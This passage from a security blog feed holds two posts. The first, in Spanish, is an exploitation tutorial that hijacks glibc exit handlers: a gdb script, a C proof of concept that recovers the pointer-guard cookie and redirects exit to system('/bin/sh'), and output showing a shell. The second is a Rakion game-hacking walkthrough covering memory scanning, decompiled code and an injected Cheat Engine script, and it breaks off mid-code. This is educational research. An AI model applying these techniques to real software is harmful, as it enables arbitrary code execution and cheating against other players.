        <span class="k">print</span><span class="p">(</span><span class="s">'__exit_funcs exist?'</span><span class="p">)</span>
        <span class="k">return</span>
    <span class="n">__exit_funcs_addr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">__exit_funcs_addr</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">'ptr_guard 0x%x'</span> <span class="o">%</span> <span class="n">ptr_guard</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">'__exit_funcs_addr 0x%x'</span> <span class="o">%</span> <span class="n">__exit_funcs_addr</span><span class="p">)</span>

    <span class="s">"""
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
    """</span>

    <span class="n">dummy_addr</span> <span class="o">=</span> <span class="n">__exit_funcs_addr</span> <span class="o">+</span> <span class="n">data_sz</span>
    <span class="n">idx</span> <span class="o">=</span> <span class="nb">int</span><span class="p">.</span><span class="n">from_bytes</span><span class="p">(</span><span class="n">read_memory</span><span class="p">(</span><span class="n">dummy_addr</span><span class="p">,</span> <span class="n">data_sz</span><span class="p">),</span> <span class="s">'little'</span><span class="p">)</span>
    <span class="n">fns_size</span> <span class="o">=</span> <span class="n">gdb</span><span class="p">.</span><span class="n">lookup_type</span><span class="p">(</span><span class="s">'struct exit_function'</span><span class="p">).</span><span class="n">sizeof</span>
    <span class="n">dummy_addr</span> <span class="o">+=</span> <span class="n">data_sz</span>

    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
        <span class="n">val</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'((struct exit_function*)</span><span class="si">{</span><span class="n">dummy_addr</span><span class="si">}</span><span class="s">)-&gt;flavor'</span>
        <span class="n">flavor</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">get_eval</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>

        <span class="n">val</span> <span class="o">=</span> <span class="sa">f</span><span class="s">'((struct exit_function*)</span><span class="si">{</span><span class="n">dummy_addr</span><span class="si">}</span><span class="s">)-&gt;func.cxa.fn'</span>
        <span class="n">fn</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">get_eval</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>

        <span class="n">addr</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">fn</span><span class="p">,</span> <span class="n">ptr_guard</span><span class="p">)</span>
        <span class="n">sym</span> <span class="o">=</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'info sym </span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s">'</span><span class="p">,</span> <span class="n">to_string</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
        <span class="k">if</span> <span class="s">"No symbol"</span> <span class="ow">in</span> <span class="n">sym</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'flavor: </span><span class="si">{</span><span class="n">flavor</span><span class="si">}</span><span class="s">, fn: 0x</span><span class="si">{</span><span class="n">addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'flavor: </span><span class="si">{</span><span class="n">flavor</span><span class="si">}</span><span class="s">, fn: 0x</span><span class="si">{</span><span class="n">addr</span><span class="si">:</span><span class="n">x</span><span class="si">}</span><span class="s"> &lt;</span><span class="si">{</span><span class="n">sym</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s">&gt;'</span><span class="p">)</span>

        <span class="n">dummy_addr</span> <span class="o">+=</span> <span class="n">fns_size</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo gdb /bin/ls -batch -ex 'source gdb.py'
Breakpoint 1 at 0x4c20
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, __GI_exit (status=0) at ./stdlib/exit.c:142
142	./stdlib/exit.c: No such file or directory.

ptr_guard 0x24278a4b62350122
__exit_funcs_addr 0x7ffff7e1bf00
flavor: 4, fn: 0x7ffff7fc9040 &lt;_dl_fini&gt;
flavor: 4, fn: 0x55555555fa80
</code></pre></div></div>

<h4 id="posibles-ataques">Posibles ataques</h4>

<p>Lo que hemos visto hasta este punto es realmente interesante. Como preámbulo puedo decir que una técnica común usada en el desarrollo de un exploit es obtener una fuga de memoria con alguna dirección virtual perteneciente de la <code class="language-plaintext highlighter-rouge">glibc</code> y/o de <code class="language-plaintext highlighter-rouge">ld</code>, permitiendo calcular la dirección virtual de la función de <code class="language-plaintext highlighter-rouge">__exit_funcs</code> y <code class="language-plaintext highlighter-rouge">_dl_fini</code>, aunque esta última pertence a <code class="language-plaintext highlighter-rouge">ld</code>. Entonces, obteniendo el puntero cifrado y decifrado podremos obtener la <em>cookie</em>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">In</span> <span class="p">[</span><span class="mi">9</span><span class="p">]:</span> <span class="nb">hex</span><span class="p">(</span><span class="n">ror64</span><span class="p">(</span><span class="mh">0x5b75ba599d12cfac</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x7ffff7fc9040</span><span class="p">)</span>
<span class="n">Out</span><span class="p">[</span><span class="mi">9</span><span class="p">]:</span> <span class="s">'0x67d652452ad05ec9'</span>
</code></pre></div></div>

<p>Obtener la <em>cookie</em> nos permite poder cifrar cualquier puntero como el de la función <code class="language-plaintext highlighter-rouge">system</code>, y con una primitiva de escritura sobreescribir el puntero modificado, a su vez que en <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].cxa.arg</code> se escriba <code class="language-plaintext highlighter-rouge">/bin/sh</code> para poder obtener una shell.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">printf</span><span class="p">(</span><span class="s">"ld = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ld_addr</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"libc = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">libc_addr</span><span class="p">);</span>

    <span class="k">struct</span> <span class="n">exit_function_list</span><span class="o">*</span> <span class="n">exit_funcs_list</span> <span class="o">=</span> <span class="p">(</span><span class="k">struct</span> <span class="n">exit_function_list</span><span class="o">*</span><span class="p">)(</span><span class="n">libc_addr</span> <span class="o">+</span> <span class="mh">0x21bf00</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"__exit_funcs = %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">exit_funcs_list</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">_dl_fini_addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)(</span><span class="n">ld_addr</span> <span class="o">+</span> <span class="mh">0x5b040</span><span class="p">);</span>

    <span class="c1">//uint64_t cookie = (*(uint64_t*)(ld_addr + 0x8f040)) - 0x53b70;</span>
    <span class="kt">uint64_t</span> <span class="n">cookie</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)(</span><span class="n">ld_addr</span> <span class="o">+</span> <span class="mh">0x3c740</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">);</span>

    <span class="n">cookie</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">cookie</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"cookie = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">cookie</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">exit_funcs_list</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span><span class="p">;</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"_dl_fini encrypted = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">fn</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"_dl_fini decrypted = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">_dl_fini_addr</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">cookie2</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">fn</span><span class="p">,</span> <span class="n">_dl_fini_addr</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"cookie2 = 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">cookie2</span><span class="p">);</span>

    <span class="n">assert</span><span class="p">(</span><span class="n">cookie</span> <span class="o">==</span> <span class="n">cookie2</span><span class="p">);</span>

    <span class="kt">uint64_t</span> <span class="n">ptr_enc</span> <span class="o">=</span> <span class="n">encrypt</span><span class="p">((</span><span class="kt">uint64_t</span><span class="p">)</span><span class="n">system</span><span class="p">,</span> <span class="n">cookie2</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"ptr_enc 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ptr_enc</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"system %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">system</span><span class="p">);</span>

    <span class="n">exit_funcs_list</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span><span class="o">*</span><span class="p">)</span><span class="n">ptr_enc</span><span class="p">;</span>
    <span class="n">exit_funcs_list</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">arg</span> <span class="o">=</span> <span class="s">"/bin/sh"</span><span class="p">;</span>

    <span class="c1">// trigger system("/bin/sh");</span>
    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./a.out 
Mama am here!
ld = 0x723f9c2b5000
libc = 0x723f9c000000
__exit_funcs = 0x723f9c21bf00
ptr cookie 0x723f9c2f1770
cookie = 0x9702d9c5fe9e5e08
_dl_fini encrypted = 0x57f4c55ebc912e05
_dl_fini decrypted = 0x723f9c310040
cookie2 = 0x9702d9c5fe9e5e08
ptr_enc 0x57f4c536a6f12e05
system 0x723f9c050d70
$ echo 'pwn'
pwn
$ 
</code></pre></div></div>

<p>Pueden ver que estoy usando la dirección virtual de <code class="language-plaintext highlighter-rouge">ld</code>, pero a veces con un <em>leak</em> de <code class="language-plaintext highlighter-rouge">glibc</code> es suficiente porque se suele alojar adyacente, y realizando un <em>bruteforce</em> se puede obtener la ejecución satisfactoria. Entonces emulo los <em>leaks</em> necesarios para obtener <code class="language-plaintext highlighter-rouge">_dl_fini</code> y el valor <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].cxa.fn</code> para calcular la <em>cookie</em>, después ciframos el puntero de <code class="language-plaintext highlighter-rouge">system</code>, sobreescribimos el argumento en <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].cxa.arg</code> con <code class="language-plaintext highlighter-rouge">"/bin/sh"</code> y terminamos la ejecución a través de <code class="language-plaintext highlighter-rouge">exit</code> o el <code class="language-plaintext highlighter-rouge">return</code> del hilo principal.</p>

<p>Otro de los posibles ataques es sobreescribir la <em>cookie</em> con byte nulos, esto nos evita leer el valor de <code class="language-plaintext highlighter-rouge">exit_function_list.fns[n].cxa.fn</code> con el objetido de obtener la <em>cookie</em> como lo acabamos de ver, sino que podemos usar la dirección virtual de <code class="language-plaintext highlighter-rouge">system</code>  y hacer un <code class="language-plaintext highlighter-rouge">rol 0x11</code>, entonces cuando se ejecute <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> usará la <em>cookie</em> nula, la decifrará haciendo <code class="language-plaintext highlighter-rouge">ror 0x11</code> y ejecutará el puntero de la función que hemos colocado previamente.</p>

<p>Por supuesto siempre se puede crear una estructura falsa de <code class="language-plaintext highlighter-rouge">exit_functions_list</code> si es que tenemos las primitivas para hacerlo.</p>

<p>Cómo se ha mostrado en el código anterior se obtiene la dirección de la <em>cookie</em> a través de TLS que se encuentra en <code class="language-plaintext highlighter-rouge">fs:[0x30]</code> con la línea 10. ¿Cómo lo hacemos?, veámoslo.</p>

<p>El linker <code class="language-plaintext highlighter-rouge">ld</code> tiene un variable global <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/nptl/pthread_create.c#L63"><code class="language-plaintext highlighter-rouge">__nptl_rtld_global</code></a> que apunta a la variable global <code class="language-plaintext highlighter-rouge">_rtld_global</code>, que finalmente apunta a una estructura <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/sysdeps/generic/ldsodefs.h#L303"><code class="language-plaintext highlighter-rouge">rtld_global</code></a>, y su primer campo es <code class="language-plaintext highlighter-rouge">_ns_loaded</code> o directamente usar la dirección <code class="language-plaintext highlighter-rouge">ld</code> como base y sumar del offset TLS como es el método que se ha usado en la línea 10. Por su puesto, siempre se puede intentar usar la dirección virtual de la <code class="language-plaintext highlighter-rouge">glibc</code> con un <em>bruteforce</em> de ejecuciones para que el offset calce.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[...]
0x00007ffff7e16000 0x00007ffff7e1a000 0x0000000000004000 0x0000000000215000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e1a000 0x00007ffff7e1c000 0x0000000000002000 0x0000000000219000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7e1c000 0x00007ffff7e29000 0x000000000000d000 0x0000000000000000 rw- 
0x00007ffff7fa4000 0x00007ffff7fa7000 0x0000000000003000 0x0000000000000000 rw- &lt;tls-th1&gt;
</code></pre></div></div>

<blockquote>
  <p>Escrito por <strong>Nox</strong></p>
</blockquote>]]></content><author><name>Nox</name></author><category term="es" /><category term="exploiting" /><summary type="html"><![CDATA[Ejecutar system al terminar la ejecución del programa]]></summary></entry><entry xml:lang="en"><title type="html">Rakion: Entities and editing cell creatures</title><link href="https://blog.rop.la/en/reversing/2023/02/17/rakion-entities-editing-cell-creatures.html" rel="alternate" type="text/html" title="Rakion: Entities and editing cell creatures" /><published>2023-02-17T05:00:00+00:00</published><updated>2023-02-17T05:00:00+00:00</updated><id>https://blog.rop.la/en/reversing/2023/02/17/rakion-entities-editing-cell-creatures</id><content type="html" xml:base="https://blog.rop.la/en/reversing/2023/02/17/rakion-entities-editing-cell-creatures.html"><![CDATA[<p>Part I: <a href="/en/reversing/2021/06/09/gamehacking-rakion-my-begining.html">Gamehacking: Rakion, the begining</a>
<br />
Parte II: <a href="/en/reversing/2023/02/17/rakion-entities-editing-cell-creatures.html">Rakion: Entities and editing cell creatures</a></p>

<p>A principle in the gamehacking is that if a value changed we can scan the memory, get its address, and modify the value arbitrarily. For example, if player’s health has 64 or 0x100 as max value and receives one of damage, that value will decrease one, allowing us to scan the memory, obtain a group of results, and on that group keep scanning everytime that health value is modified to reduce the result group to a few addresses until getting the health player address with the purpose of modifying that value at our whim.</p>

<p>Of course there are variants, and it isn’t the only way, but it’s a good first step.</p>

<!--more-->

<p>In this game existing cell’s creatures are allies, and can be summoned by consuming cell points (CP). That cell’s creatures can be equipped in the lobby, and that action set a value in memory (a byte is written) or removed (a null byte is written), that cell’s creature value will be named in this blogpost as cell’s creature ID.</p>

<h2 id="editing-cc-in-lobby">Editing cell creatures in-lobby</h2>
<p>There are two ways to get the cell’s creature ID address in the lobby, scan an unknow value to get the group of results, remove the cell creature (that value will change to 0), and scan over that group, then repeat until getting few addresses. The other way is by knowing the value of cell creature in memory previously, this way is possible because in past, Rakion had a resource file called <code class="language-plaintext highlighter-rouge">Datasetup.xfs</code> in plain text where we found cell’s creature IDs, items stats, stage properties (the stages also are called as quests in other games), etc.</p>

<p>In the following video we can see how to get the cell creature address in lobby using the first method.</p>

<div align="center"><iframe width="560" height="315" src="https://www.youtube.com/embed/9MBFSEyKc0Y" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe><br />
<em>Searching and editing a cell creatures in-lobby (2015-dic version)</em>
</div>
<p><br />
In the video my player is <em>Xeen</em> and, to reduce the results group, I started looking if my player name is close, because it is usual that entity player structure has value of items, stats, and related information like the player’s name.</p>

<p>And we have our first cheat :D. Anyway, if you restart the game, the cell’s creature ID address will change. How we can fix it? Check <a href="#entity-in-lobby"><strong>Entity in-lobby</strong></a> section.</p>

<h2 id="entities">Entities</h2>

<p>A player entity is a structure that contains player’s information (pointers, properties, names, etc). In this game, we can say that already exist two entities, in-game, and in-lobby, and the last one probably wasn’t created as a player entity but due the posibility to modify some player’s items in lobby we’ll call it in that way for didactic purpose.</p>

<h3 id="entity-in-lobby">Entity in-lobby</h3>
<p>Trying to figure out a method to get the cell’s creature ID address, I notized that there are some hardcoded adresss in <code class="language-plaintext highlighter-rouge">entitiesmp.dll</code>. Then, I looked up if those addresses were lower than cell’s creature ID address, and if that lower addresses have a constant delta toward cell’s creature ID address.</p>

<p>You can see the hardcoded address implementation in differents versions of <code class="language-plaintext highlighter-rouge">entitiesmp.dll</code>.</p>

<p>2010-dic:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// IDA Pro 6.x decompiler </span>
<span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">CPlayer__EndGame</span><span class="p">()</span>
<span class="p">{</span>
  <span class="k">return</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="p">(</span><span class="o">**</span><span class="p">)(</span><span class="kt">void</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_354B7FC4</span> <span class="o">+</span> <span class="mi">284</span><span class="p">))();</span>
<span class="p">}</span>
</code></pre></div></div>

<p>2012-may:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__thiscall</span> <span class="n">CPlayer</span><span class="o">::</span><span class="n">EndGame</span><span class="p">(</span><span class="n">CPlayer</span> <span class="o">*</span><span class="k">this</span><span class="p">)</span>
<span class="p">{</span>
  <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_DWORD</span><span class="p">))(</span><span class="o">**</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">**</span><span class="p">)</span><span class="n">_pRakionWorldNet</span> <span class="o">+</span> <span class="mi">256</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pRakionWorldNet</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>2015-dic:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">__thiscall</span> <span class="n">CPlayer</span><span class="o">::</span><span class="n">EndGame</span><span class="p">(</span><span class="n">CPlayer</span> <span class="o">*</span><span class="k">this</span><span class="p">)</span> 
<span class="p">{</span> 
 <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="kt">int</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">dword_356647B4</span> <span class="o">+</span> <span class="mi">280</span><span class="p">))(</span><span class="n">dword_356647B4</span><span class="p">);</span> 
<span class="p">}</span>
</code></pre></div></div>

<p>Let’s see it on CheatEngine:</p>

<div align="center"><iframe width="560" height="315" src="https://www.youtube.com/embed/dUgNcRh0oDw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="">
</iframe><br />
<em>Editing cell creatures in-lobby (2012-may version)</em>
</div>
<p><br />
Indeed, 2015 version (and probably later), the cell creature level is found 2 bytes after the ID.</p>

<h2 id="entity-in-game">Entity in-game</h2>
<p>There is a function that return a CPlayer object called: <code class="language-plaintext highlighter-rouge">class CPlayer *__thiscall CPlayer::GetLocalPlayer(CPlayer *this)</code> from <code class="language-plaintext highlighter-rouge">entitiesmp.dll</code>. It’s important to mention that this function returns the current active CPlayer object, it means that the function will return an object when your character is in-game.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">CPlayer</span> <span class="o">*</span><span class="n">__thiscall</span> <span class="n">CPlayer</span><span class="o">::</span><span class="n">GetLocalPlayer</span><span class="p">(</span><span class="n">CPlayer</span> <span class="o">*</span><span class="k">this</span><span class="p">)</span> 
<span class="p">{</span> 
 <span class="n">FieldInfo</span> <span class="o">*</span><span class="n">FieldInfo</span><span class="p">;</span> <span class="c1">// eax </span>
 <span class="n">FieldInfo</span> <span class="o">=</span> <span class="n">CPlayer</span><span class="o">::</span><span class="n">GetFieldInfo</span><span class="p">(</span><span class="k">this</span><span class="p">);</span> 
 <span class="k">return</span> <span class="n">FieldInfo</span><span class="o">::</span><span class="n">GetLocalPlayer</span><span class="p">(</span><span class="n">FieldInfo</span><span class="p">);</span> 
<span class="p">}</span>
</code></pre></div></div>

<p>For test purposes, I had to figure out a way to get the CPlayer’s object address every time I need it. Then, I made the following CE script but there is an issue, when I disabled it the game crashes that’s why I wrote a infinite loop :P. So, I only added the symbol <code class="language-plaintext highlighter-rouge">objCPlayer</code> in CE Table to get the CPlayer object address.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">alloc</span><span class="p">(</span><span class="nv">mythread</span><span class="p">,</span> <span class="mi">512</span><span class="p">)</span>
<span class="nf">createthread</span><span class="p">(</span><span class="nv">mythread</span><span class="p">)</span>

<span class="nf">alloc</span><span class="p">(</span><span class="nv">objFieldInfo</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>
<span class="nf">alloc</span><span class="p">(</span><span class="nv">objCPlayer</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span>

<span class="err">[</span><span class="nf">ENABLE</span><span class="p">]</span>

<span class="nf">registerSymbol</span><span class="p">(</span><span class="nv">objFieldInfo</span><span class="p">)</span>
<span class="nf">registerSymbol</span><span class="p">(</span><span class="nv">objCPlayer</span><span class="p">)</span>
<span class="nl">mythread:</span>

  <span class="nf">xor</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
  <span class="nf">call</span> <span class="nv">CPlayer</span><span class="p">::</span><span class="nv">GetFieldInfo</span>
  <span class="nf">mov</span> <span class="p">[</span><span class="nv">objFieldInfo</span><span class="p">],</span> <span class="nb">eax</span>

<span class="nl">get_entity:</span>
  <span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span> <span class="p">[</span><span class="nv">objFieldInfo</span><span class="p">]</span>
  <span class="nf">call</span> <span class="nv">FieldInfo</span><span class="p">::</span><span class="nv">GetLocalPlayer</span>
  <span class="nf">test</span> <span class="nb">eax</span><span class="p">,</span> <span class="nb">eax</span>
  <span class="nf">mov</span> <span class="p">[</span><span class="nv">objCPlayer</span><span class="p">],</span> <span class="nb">eax</span>

  <span class="nf">push</span> <span class="mi">2000</span>
  <span class="nf">call</span> <span class="nv">kernel32.Sleep</span>
  <span class="nf">jmp</span> <span class="nv">get_entity</span>


  <span class="nf">ret</span> <span class="o">//</span><span class="nv">terminates</span> <span class="nv">thread</span>

<span class="err">[</span><span class="nf">DISABLE</span><span class="p">]</span>
<span class="nf">unregisterSymbol</span><span class="p">(</span><span class="nv">objFieldInfo</span><span class="p">)</span>
<span class="nf">dealloc</span><span class="p">(</span><span class="nv">objFieldInfo</span><span class="p">)</span>
<span class="nf">dealloc</span><span class="p">(</span><span class="nv">mythread</span><span class="p">)</span>
</code></pre></div></div>

<p>Some days before, I found out a variable which is initialized with the CPlayer object address every time. In 2012-may version <code class="language-plaintext highlighter-rouge">entitiesmp.dll + 0x4b42f0</code>, and 2015-dic version <code class="language-plaintext highlighter-rouge">entitiesmp.dll + 00xx87CB28</code></p>

<h2 id="editing-cells-creatures-in-game">Editing cell’s creatures in-game</h2>
<p>As <a href="#editing-cc-in-lobby"><strong>Editing cell creatures in-game</strong></a> section explained, we need to find out the exact address in-game where cell’s creature ID is located.</p>

<p>In 2015-dic version, there is a function called <code class="language-plaintext highlighter-rouge">void __thiscall CPlayer::SpawnNPC_n(CPlayer *this, struct CellInfo *a2, struct CPlayer *a3, int a4)</code> used when a cell’s creature is summoned, but there isn’t any direct crossreference because it’s accessed from CPlayer’s vftable. That function calls to <code class="language-plaintext highlighter-rouge">sub_35158F20(a2, a3, i);</code></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="kr">__cdecl</span> <span class="nf">sub_35158F20</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="c1">// [...]</span>

  <span class="n">GlobalFieldInfo</span> <span class="o">=</span> <span class="n">GetGlobalFieldInfo</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">FieldInfo</span><span class="o">::</span><span class="n">IsRoundState</span><span class="p">(</span><span class="n">GlobalFieldInfo</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">GetGlobalFieldInfo</span><span class="p">()</span> <span class="o">+</span> <span class="mi">313</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span>
      <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="p">)(</span><span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pNetwork</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x294C</span><span class="p">)</span> <span class="o">+</span> <span class="o">*</span><span class="p">((</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">_pNetwork</span> <span class="o">+</span> <span class="mi">9</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0x294D</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">9u</span> <span class="p">)</span>
    <span class="p">{</span>
      <span class="n">CPlacement3D</span><span class="o">::</span><span class="n">CPlacement3D</span><span class="p">((</span><span class="n">CPlacement3D</span> <span class="o">*</span><span class="p">)</span><span class="n">v21</span><span class="p">);</span>
      <span class="n">v4</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_35158C30</span><span class="p">(</span><span class="n">v20</span><span class="p">,</span> <span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
      <span class="n">v21</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="o">*</span><span class="n">v4</span><span class="p">;</span>
      <span class="n">v21</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">v4</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
      <span class="n">v21</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">v4</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
      <span class="n">v21</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">v4</span><span class="p">[</span><span class="mi">3</span><span class="p">];</span>
      <span class="n">v21</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="n">v4</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
      <span class="n">v21</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="n">v4</span><span class="p">[</span><span class="mi">5</span><span class="p">];</span>
      <span class="n">CTString</span><span class="o">::</span><span class="n">CTString</span><span class="p">((</span><span class="n">CTString</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v18</span><span class="p">,</span> <span class="s">"pwoCurrentWorld"</span><span class="p">);</span>
      <span class="n">v22</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
